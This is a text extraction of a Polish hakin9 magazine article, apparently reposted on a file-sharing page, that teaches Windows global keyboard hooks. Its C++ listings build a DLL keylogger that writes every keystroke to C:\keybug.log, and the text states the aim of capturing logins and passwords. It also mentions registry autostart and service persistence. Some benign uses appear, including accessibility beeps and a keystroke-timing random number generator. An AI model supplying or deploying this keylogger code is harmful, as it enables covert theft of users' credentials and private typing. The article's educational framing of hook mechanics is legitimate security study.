hooks_PL.pdf
(
780 KB
)
Pobierz
6584331 UNPDF
Hak na Windows
Atak
Jacek Matulewski
stopień trudności
Imię domowego zwierzaka i bieżący rok to najczęściej
wykorzystywany schemat haseł. Jednak, gdy hasło jest tak silne,
że nie można go wykryć typowymi metodami, istnieje groźba,
że zostanie ono podsłuchane. Nie chodzi o przysłuchiwanie się
osobom mamroczącym podczas pisania, lecz o podsłuchiwanie
klawiatury przez programy uruchomione w Windows.
zapisujące wszystkie naciśnięte przez
użytkowników komputera klawisze? W
systemie Windows ich zadaniem jest zazwy-
czaj monitorowanie komunikatów związanych
z klawiaturą. Co to znaczy? Komunikaty (ang.
windows messages) tworzą niejako układ ner-
wowy systemu Windows, łączący go z urucho-
mionymi w nim aplikacjami. To właśnie komu-
nikaty przekazują aplikacjom informacje o tym,
że została ona kliknięta myszką lub naciśnięty
został jakiś klawisz, przez co od aplikacji ocze-
kiwana jest w związku z tym jakaś reakcja. To,
co jest dla nas naturalne, np. kliknięcie przyci-
sku widocznego na oknie aplikacji i co użytkow-
nikowi komputera wydaje się odbywać jedynie
w kontekście samej aplikacji, w istocie angażu-
je system Windows – w końcu myszka i klawia-
tura nie są podłączone do aplikacji, a do kom-
putera zarządzanego przez Windows, to Win-
dows właśnie, a nie sama aplikacja, może od-
czytać stan tych urządzeń. Aplikacja odcięta
od strumienia komunikatów staje się głucha i
niema (aby taki stan uzyskać wystarczy nadpi-
sać metodę
WndProc
okna aplikacji, nie wywołu-
jąc z niej metody nadpisywanej, i pozostawia-
jąc ją zupełnie pustą). W szczególności aplika-
cja przestaje zaś reagować na polecenia od-
świeżenia okna, co objawia się charaktery-
styczną „białą plamą” w miejscu jej interfejsu.
A w jaki sposób możliwe jest monitorowa-
nie przepływu komunikatów? System Windows
udostępnia mechanizm haków (ang. hooks). Po-
zwala on skojarzyć określony w haku typ komu-
nikatów ze zdeiniowaną przez użytkownika me-
todą. Haki mogą być ustawiane bądź w kontek-
ście konkretnej aplikacji, konkretniej wątku, bądź
Z artykułu dowiesz się...
• w jaki sposób korzystać z mechanizmu haków
systemu Microsoft Windows, w szczególności w
jaki sposób wykorzystać go do podsłuchiwania
klawiatury (np. w celu zdobycia loginów i haseł)
• pomysł na generator liczb losowych oparty na
monitorowaniu korzystania przez użytkownika
z klawiatury.
Powinieneś wiedzieć...
• wymagana jest ogólna orientacja w korzystaniu
z funkcji WinAPI oraz umiejętność projektowa-
nia bibliotek DLL.
2
hakin9 Nr 4/2007
www.hakin9.org
J
ak działają programy przechwytujące i
Hak na Windows
globalnie. W tym drugim przypadku
funkcja wykonywana będzie po wy-
kryciu każdego komunikatu monitoro-
wanego typu w całej „sieci nerwowej”
systemu i tylko ten rodzaj haka bę-
dzie nas teraz interesować. Haki glo-
balne (ang. global hooks), a dokład-
niej ich funkcje zahaczone (ang. hook
procedure; nie znajduję lepszego tłu-
maczenia) muszą być umieszczone w
bibliotece DLL, która będzie ładowa-
na do przestrzeni adresowej każdej
aplikacji, która otrzyma monitorowa-
ny typ komunikatu. W ten sposób do-
wolna aplikacja będzie mogła urucho-
mić przygotowaną przez nas funkcję.
To wszystko brzmi może dość zawile,
ale w praktyce nie okaże się bardzo
trudne do realizacji. Wydaje mi się, że
nawet niezbyt zaawansowany progra-
mista znający choćby pobieżnie bi-
bliotekę WinAPI i mający doświad-
czenie z tworzeniem bibliotek DLL
powinien sobie z hakami poradzić.
bieramy pozycję DLL Wizard i klika-
my OK. Pojawi się okno widoczne na
Rysunku 1. Zgodnie ze wzorem na
rysunku należy ustawić widoczne na
nim opcje. Stworzymy w ten sposób
prosty moduł bez pliku nagłówkowe-
go, w którym poza sporej wielkości
komentarzem jest tylko funkcja Dll-
Main. Zapiszmy cały projekt używa-
jąc np. nazwy KeyHook dla pliku pro-
jektu (tj. pliku z rozszerzeniem .bpr).
Zacznijmy od zapisania uchwytu
do bieżącej biblioteki DLL w zmien-
nej globalnej handleDLL. Uchwyt ten
można odczytać ze zmiennej global-
nej HInstance zdeiniowanej w mo-
dule SysInit (aby była dostępna na-
leży zaimportować nagłówek SysI-
nit.hpp), ale jest to rozwiązanie cha-
rakterystyczne dla C++Buildera.
Dlatego my odczytamy go z pierw-
szego argumentu funkcji DllMain.
W tym celu modyikujemy tę funkcję,
jak na Listingu 1.
Następnie przejdźmy do zdeinio-
wania funkcji SetHook, której zada-
niem, jak wskazuje jej nazwa, będzie
ustawienie haka. I tu ważna uwaga.
Nie należy jej wywołania umieszczać
w funkcji DllMain, co może wydawać
się dobrym rozwiązaniem automaty-
zującym zakładanie haka. To jest złe
miejsce, bo biblioteka DLL zawierać
będzie także funkcję zahaczoną, co
oznacza, że biblioteka będzie łado-
wana do przestrzeni adresowej każ-
dej aplikacji, która otrzyma komunikat
związany z naciśnięciem klawiszy. Za
każdym razem wywoływana będzie
oczywiście jej funkcja
DllMain.
Ustawienie haka realizowane jest
przez wywołanie funkcji
WinAPI Se-
tWindowsHookEx,
której pierwszym
W sieci
• http://www.borland.pl/download/
personal.shtml – lista darmowych
wersji narzędzi deweloperskich ir-
my Borland
• http://msdn2.microsoft.com – doku-
mentacja WinAPI i platformy .NET.
Warto zacząć od wpisania w polu
search hasła hooks.
Dokumentacja funkcji zwrotnej Keybo-
ardProc dostępna jest w MSDN pod
adresem:
Stawianie
haków w praktyce
Najlepiej poznać wroga studiując je-
go metody. Dlatego przygotujemy
prosty program podsłuchujący na-
ciśnięte klawisze. Program napisze-
my w C++Builderze 6 (ze względu na
darmową wersję Personal dostępną
na stronie
http://www.borland.pl/
download/personal.shtml
), ale naj-
ważniejsze fragmenty kodu można
bez trudu przenieść do Visual C++
2005 lub do innego środowiska pro-
gramistycznego, nie tylko dla C++.
W szczególności osoby programują-
ce w Delphi z łatwością mogą prze-
tłumaczyć poniższe przykłady na
Object Pascal.
To samo dotyczy
Vi-
sual Basica
.
Zacznijmy od biblioteki DLL za-
wierającej funkcję zahaczoną. Dla
wygody do tej samej biblioteki doda-
my także funkcje ustawiające i usu-
wające hak. W środowisku C++Bu-
ilder, z menu File/New/Other... wy-
• http://msdn.microsoft.com/
library/en-us/winui/winui/
windowsuserinterface/
windowing/hooks/hookreference/
hookfunctions/keyboardproc.asp.
Tę samą stronę zobaczymy wpisu-
jąc w Google hasła KeyboardProc
MSDN i klikając pierwszy link.
Komunikacja między
aplikacjami a systemem
Windows
Do komunikacji między systemem, a
aplikacją używa się funkcji także zwrot-
nych, czyli funkcji udostępnianych
przez aplikacje lub biblioteki DLL, któ-
rych nazwa i sygnatura są z góry okre-
ślone i które wywoływane są przez sys-
tem w ściśle określonych sytuacjach.
Takimi funkcjami są np. WinMain lub
DllMain (ewentualnie DllEntryPoint)
uruchamiane w momencie uruchomie-
nia aplikacji lub załadowania biblioteki
DLL do pamięci. Do komunikacji inicjo-
wanej przez system są one używane
jednak stosunkowo rzadko. Natomiast
do komunikacji w odwrotnym kierunku,
tj. gdy jest ona inicjowana przez aplika-
cję, korzystanie z funkcji udostępnia-
nych przez systemowe biblioteki DLL
jest standardem. System udostępnia w
ten sposób ogromny zbiór funkcji, które
tworzą WinAPI tj. interfejs programisty
aplikacji Windows.
Rysunek 1.
Ustawienia w kreatorze biblioteki DLL
www.hakin9.org
hakin9 Nr 4/2007
3
Atak
argumentem jest stała identyikująca
typ interesujących nas komunikatów,
w naszym przypadku będzie to sta-
ła
WH _ KEYBOARD
, drugim jest wskaź-
nik do funkcji zahaczonej, którą bę-
dziemy musieli jeszcze zdeiniować,
natomiast trzeci wskazuje uchwyt bi-
blioteki, w której funkcja zahaczona
jest umieszczona. W naszym przy-
padku, w którym funkcja ustawiająca
hak i funkcja zahaczona są w tej sa-
mej bibliotece umieścimy w trzecim
argumencie uchwyt do bieżącej bi-
blioteki.
Na Listingu 2. widzimy, że zade-
klarowana została zmienna globalna
o nazwie
handleHook
, do której w me-
todzie
SetHook
zapisaliśmy uchwyt
ustawionego haka. Po wywołaniu
funkcji
SetWindowsHookEx
informu-
jemy użytkownika o powodzeniu lub
niepowodzeniu ustawienia haka. Ja-
ko drugi argument funkcji
SetWin-
dowsHookEx
podaliśmy wskaźnik
do funkcji
KeyboardHookProc
. Szko-
puł w tym, że ona jeszcze nie istnie-
je. Ale nie wszystko na raz.
Dla porządku zdeiniujmy od razu
funkcję usuwającą hak, przedstawio-
ną na Listingu 3.
Podobnie, jak w przypadku po-
przedniej funkcji, także tu napraw-
dę ważna jest tylko pierwsza linia,
w której wywołujemy funkcję
WinAPI
UnhookWindowsHookEx.
Pozosta-
łe dwie służą do wyświetlania komu-
nikatu o powodzeniu operacji. Funk-
cja UnhookWindowsHookEx usu-
wa hak identyikowany na podstawie
uchwytu, który zapisaliśmy w zmien-
nej handleHook.
Obie funkcje należy wyekspor-
tować z biblioteki DLL. W tym ce-
lu do ich sygnatur, przed wska-
zaniem zwracanego typu doda-
liśmy modyikatory
extern "C"
_ _ declspec
(dllexport).
menty:
code
,
wParam
i
lParam
. Pierw-
szy z nich informuje o tym, co funk-
cja zahaczona powinna zrobić z prze-
chwyconym komunikatem. Jeżeli jej
wartość jest mniejsza od zera, komu-
nikat powinien zostać zignorowany.
Możliwe wartości nieujemne to 0 (sta-
ła
HC _ ACTION
) lub 3 (
HC _ NOREMOVE)
. In-
formują o wykryciu komunikatu (po-
równaj opis komunikatów i w MSDN),
a różnią się tym, że w drugim przypad-
ku komunikat nie został jeszcze zdję-
ty z kolejki komunikatów. W przypadku
komunikatów związanych z klawiaturą
wartość code jest niemal zawsze rów-
na 0. Wyjątkiem jest na przykład Mi-
crosoft Word, który w bardziej złożo-
ny sposób obsługuje komunikaty kla-
wiaturowe. Pozostałe dwa argumen-
ty funkcji zahaczonej przekazują da-
ne komunikatu. Parametr wParam to
kod znaku naciśniętego klawisza, a w
bitach lParam umieszczone są dodat-
kowe informacje o kontekście, w jakim
naciśnięty został klawisz. Szczegóły
omówię poniżej.
Funkcja zahaczona będzie wywo-
ływana z poziomu aplikacji, do której
Listing 1.
Inicjacja biblioteki DLL
HINSTANCE
handleDLL
=
NULL
;
#pragma argsused
BOOL
WINAPI
DllMain
(
HINSTANCE
hinstDLL
,
DWORD
fwdreason
,
LPVOID
lpvReserved
)
{
if
(
fwdreason
==
DLL_PROCESS_ATTACH
)
handleDLL
=
hinstDLL
;
return
1
;
}
Listing 2.
Ustawianie haka klawiaturowego
#include
<SysInit.hpp>
HHOOK
handleHook
=
NULL
;
extern
"C"
__declspec
(
dllexport
)
void
__stdcall
SetHook
(
void
)
{
handleHook
=
SetWindowsHookEx
(
WH_KEYBOARD
,
(
HOOKPROC
)
KeyboardHookProc
,
HInst
ance
,
NULL
);
if
(
handleHook
==
NULL
)
MessageBox
(
NULL
,
"Założenie haka nie powiodło
się"
,
"KeyHook"
,
MB_OK
|
MB_ICONERROR
);
else
Message
Box
(
NULL
,
"Założenie haka udało się"
,
"KeyHook"
,
MB_OK
|
MB_ICONINFORMATION
);
}
Funkcja zahaczona
Wreszcie możemy przejść do zdeinio-
wania funkcji zahaczonej (zdecydowa-
liśmy już, że będzie nazywała się
Key-
boardHookProc
), która będzie wywo-
ływana, kiedy tylko dotkniemy klawia-
tury. Jej sygnatura jest ściśle określo-
na w dokumentacji
WinAPI
(zobacz
ramka
W sieci
). Przyjmuje trzy argu-
Rysunek 3.
Przykładowy plik generowany w trakcie podsłuchiwania
klawiatury
4
hakin9 Nr 4/2007
www.hakin9.org
Hak na Windows
ładowana będzie nasza biblioteka,
dlatego musi być wyeksportowana
(stąd modyikatory w jej sygnaturze).
Aby uniknąć dodatkowego jej dekla-
rowania funkcję zahaczoną proponu-
ję wstawić przed funkcję SetHook.
W momencie naciśnięcia klawi-
sza na klawiaturze system generuje
dwa komunikaty. Pierwszy, gdy kla-
wisz zostanie wciśnięty, drugi – gdy
jest zwalniany. Widoczny w funkcji
warunek sprawdzający wartość 31-
go bitu parametru lParam powoduje,
że w obu przypadkach generowany
jest inny dźwięk (służy do tego funk-
cja WinAPI Beep): wyższy, gdy kla-
wisz jest naciskany, i niższy, gdy jest
zwalniany. Po zareagowaniu na wy-
krycie komunikatu należy jeszcze wy-
wołać funkcję CallNextHookEx, która
powoduje wywołanie następnej funk-
cji zahaczonej związanej z tym sa-
mym typem komunikatów. Dzięki te-
mu są one organizowane w swoiste
łańcuchy, z których system wywołuje
pierwszy element, a funkcje zahaczo-
ne dbają o wywołanie następnych.
Na razie funkcja nie zapisuje
jeszcze kodów naciśniętych klawi-
szy, a jedynie uroczo sobie pobrzę-
kuje. To pozwoli nam jednak upew-
nić się, że jest ona rzeczywiście wy-
konywana. Warto również dodać do
DllMain polecenia pokazujące komu-
nikaty informujące o załadowaniu bi-
blioteki do pamięci i jej usunięciu.
Dzięki temu będziemy mogli na wła-
sne oczy przekonać się, że bibliote-
ka jest ładowana do przestrzeni ad-
resowej każdej aplikacji, która otrzy-
ma komunikat o naciśnięciu klawisza
(tzn. która będzie aktywna, gdy bę-
dziemy stukać w klawiaturę).
Rysunek 2.
Gdy na ekranie pojawi się ten komunikat nie klikajmy OK.
Wówczas usłyszymy działanie haka.
ne brzęczenie – znak, że nasz hak
działa. Zauważmy, że wykrywane są
osobno naciśnięcia wszystkich kla-
wiszy, w tym klawiszy funkcyjnych
oraz klawiszy Ctrl, Shift i Alt.
W dołączonym do artykułu ko-
dzie umieściłem projekt aplikacji,
która pozwala na wygodniejszą kon-
trolę ładowania biblioteki oraz zakła-
dania i zwalniania haka.
na jest do funkcji w parametrze wPa-
ram. Wystarczy zapisać ją do pliku.
Najprostsza realizacja tego pomysłu
ukazana została na Litingu 5.
Zwróćmy uwagę, że przechwyty-
wany komunikat nie przekazuje infor-
macji o tym, czy na monitorze poja-
wiła się mała, czy duża litera (ewen-
tualnie czy pojawiła się cyfra, czy je-
den ze znaków !, @, # itd.) Komunikat
przekazuje tylko taką informację, ja-
ka jest odbierana od klawiatury. Naci-
śnięcie klawiszy Shift i Caps Lock jest
sygnalizowane osobnymi komunika-
tami i w funkcji zahaczonej ich na-
ciśnięcie i zwolnienie trzeba śledzić
samodzielnie. Podobnie jest z klawi-
szem Ctrl. Natomiast w parametrze
lParam przekazywana jest informa-
Podsłuchiwanie
klawiatury
Teraz dopiero zrobimy się niegrzecz-
ni. Zmodyikujemy bowiem funkcję
zahaczoną tak, żeby zapisywała do
pliku naciśnięte klawisze. Nie będzie
z tym żadnego kłopotu, bo jak już
wiemy, informacja ta przekazywa-
Listing 4.
Funkcja uruchamiana w momencie wykrycia komunikatu
klawiaturowego
extern
"C"
__declspec
(
dllexport
)
LRESULT
CALLBACK
KeyboardHookProc
(
int
code
,
WPARAM
wParam
,
LPARAM
lParam
)
{
if
(
code
>=
HC_ACTION
)
{
if
((
lParam
&
0x80000000
)==
0
)
Beep
(
150
,
50
);
else
Beep
(
50
,
50
);
}
return
CallNextHookEx
(
handleHook
,
code
,
wParam
,
lParam
);
}
Aby przetestować działanie naszego
haka bez pisania osobnej aplikacji
możemy użyć następującej komendy
Windows:
rundll32 KeyHook,SetHook.
Listing 3.
Zdejmowanie haka klawiaturowego, lang=C++
Po pojawieniu się komunikatu „Za-
łożenie haka udało się” nie klikaj-
my OK, aby uniknąć usunięcia pier-
wotnej instancji biblioteki DLL z pa-
mięci i tym samym usunięcia haka.
Wówczas naciskając klawisze po-
winniśmy usłyszeć charakterystycz-
extern
"C"
__declspec
(
dllexport
)
void
__stdcall
RemoveHook
(
void
)
{
bool
result
=
UnhookWindowsHookEx
(
handleHook
);
if
(
result
)
MessageBox
(
NULL
,
"Usunięcie haka udało się"
,
"KeyHook"
,
MB_OK
|
MB_ICONINFORMATION
);
else
MessageBox
(
NULL
,
"Usunięcie haka nie powiodło się"
,
"KeyHook"
,
MB_OK
|
MB_ICONERROR
);
}
www.hakin9.org
hakin9 Nr 4/2007
5
Atak
cja o naciśnięciu klawisza Alt, którą
można odczytać z 29-go bita.
Oczywiście prowadzenie prawdzi-
wego podsłuchu wymagałoby zare-
jestrowania dodatkowych informacji.
Warto zapisać czas naciśnięcia klawi-
sza (w poniższej metodzie korzystam
z funkcji WinAPI GetTickCount zwra-
cającej ilość milisekund od momentu
uruchomienia komputera), oczywiście
kod klawisza, informację o tym, czy
klawisz był naciśnięty, czy zwolnio-
ny oraz stan bitów parametru lParam.
Realizuje to wersja funkcji zahaczonej
znajdująca się na Listingu 6.
W dołączonym do artykułu ko-
dzie dostępna jest nieco rozszerzo-
na wersja metody KeyboardHook-
Proc, która na bieżąco wyświetla do-
datkowe informacje na ekranie.
Jak widać ustawianie globalne-
go haka nie jest specjalnie trudne.
Moc tego mechanizmu jest przy tym
ogromna. Pozwala on „aplikacjom
trzecim” na monitorowanie i kontrolę
komunikacji między systemem, a uru-
chomionymi w nim aplikacjami. Dzia-
łanie haka jest wprawdzie ograniczo-
ne do jednego użytkownika, ale wy-
starczy umieścić odpowiedni wpis w
rejestrze, aby aplikacja zakładająca
hak uruchamiana była przy logowaniu
każdego użytkownika. Jeszcze wy-
godniejsze, i dające dodatkowe moż-
liwości, byłoby przygotowanie usługi
uruchamianej przy starcie systemu.
w przypadku osób niepełnosprawnych
korzystających z komputera.
Natomiast osoby zajmujące się
bezpieczeństwem komputerów mogą
zainteresować się innym zastosowa-
niem haka klawiaturowego. Z punktu
widzenia kryptograii nieocenione by-
łoby dostępne w systemach kompute-
rowych źródło prawdziwych liczb lo-
sowych. Ponieważ jedynym kompo-
nentem tych systemów, który nie jest
w pełni deterministyczny, jest czło-
wiek, tylko użytkownicy komputerów
mogą stanowić źródło przypadkowo-
ści. Skupmy się na jednym z kanałów,
którym użytkownik ingeruje w pracę
systemu, a mianowicie na klawiatu-
rze. A gdybyśmy za pomocą naszego
haka monitorowali naciskanie klawi-
szy, oczywiście nie wybierane klawi-
sze, ale czas ich naciskania lub zwal-
niania? W końcu żaden człowiek nie
jest w stanie kontrolować co do mili-
sekundy momentu, w którym naciska
klawisze. Możemy więc uznać, ostat-
nią cyfrę ilości milisekund od urucho-
mienia komputera do momentu naci-
śnięcia klawisza jako zupełnie przy-
padkową. I to nie pseudolosową, a
rzeczywiście losową. Co zabawne
nie musimy wiele modyikować na-
szej funkcji zahaczonej. Wystarczy
zmienić parametr zapisywany do pli-
ku. Prezentuje to Listing 7.\
Tym razem reagujemy tylko na te
komunikaty, w przypadku których pa-
Haki nie służą
tylko do hackowania
Mechanizm haków nie został oczywi-
ście zaprojektowany przez programi-
stów Microsoft po to, żeby możliwe
było szpiegowanie komputerów kon-
trolowanych przez system Windows.
Ich zadania mogą być bardzo różno-
rodne: od przygotowywania aplikacji
instruktażowych, w których czynno-
ści użytkownika mogą być śledzone
przez program-nauczyciel, po progra-
mowanie debugerów zintegrowanych
ze środowiskami programistycznymi.
Nawet przygotowane przez nas na
początku sygnalizowanie naciśnięcia
klawisza dźwiękiem, to dobry przykład
praktycznego wykorzystania haka. Ta-
kie potwierdzenie naciśnięcia klawisza
może być bardzo pożyteczne choćby
Rysunek 4.
Ilość losowych cyfr wygenerowanych przez powyższy program
zależy od stopnia użycia klawiatury
Listing 5.
W tej wersji rejestrowane są tylko naciśnięte klawisze, żadne
informacje dodatkowe. Ułatwia to odczytanie tekstu z pliku, ale utrudnia
śledzenie modyikatorów
#include
<fstream.h>
extern
"C"
__declspec
(
dllexport
)
LRESULT
CALLBACK
KeyboardHookProc
(
int
code
,
WPARAM
wParam
,
LPARAM
lParam
)
{
if
(
code
>=
HC_ACTION
)
{
if
((
lParam
&
0x80000000
)==
0
)
{
ofstream
txt
(
"C:
\\
keybug.log"
,
ios
::
app
);
if
(
wParam
>
32
&&
wParam
<
127
)
txt
<<
(
char
)
wParam
;
else
txt
<<
"["
<<
wParam
<<
"]"
;
txt
.
close
();
}
}
return
CallNextHookEx
(
handleHook
,
code
,
wParam
,
lParam
);
}
6
hakin9 Nr 4/2007
www.hakin9.org
Plik z chomika:
nutergsm
Inne pliki z tego folderu:
Twoja Komórka.07.2008.pdf
(10118 KB)
Monitor Sieci..pdf
(96 KB)
konfiguracja MMS.pdf
(57 KB)
Zmiana adresu MAC karty sieciowej.pdf
(214 KB)
zlaczki_miedz_braz_lut.pdf
(163 KB)
Inne foldery tego chomika:
alcatel
Aplikacje java
Boxy serwisowe
dzwonki
elektronika
Zgłoś jeśli
naruszono regulamin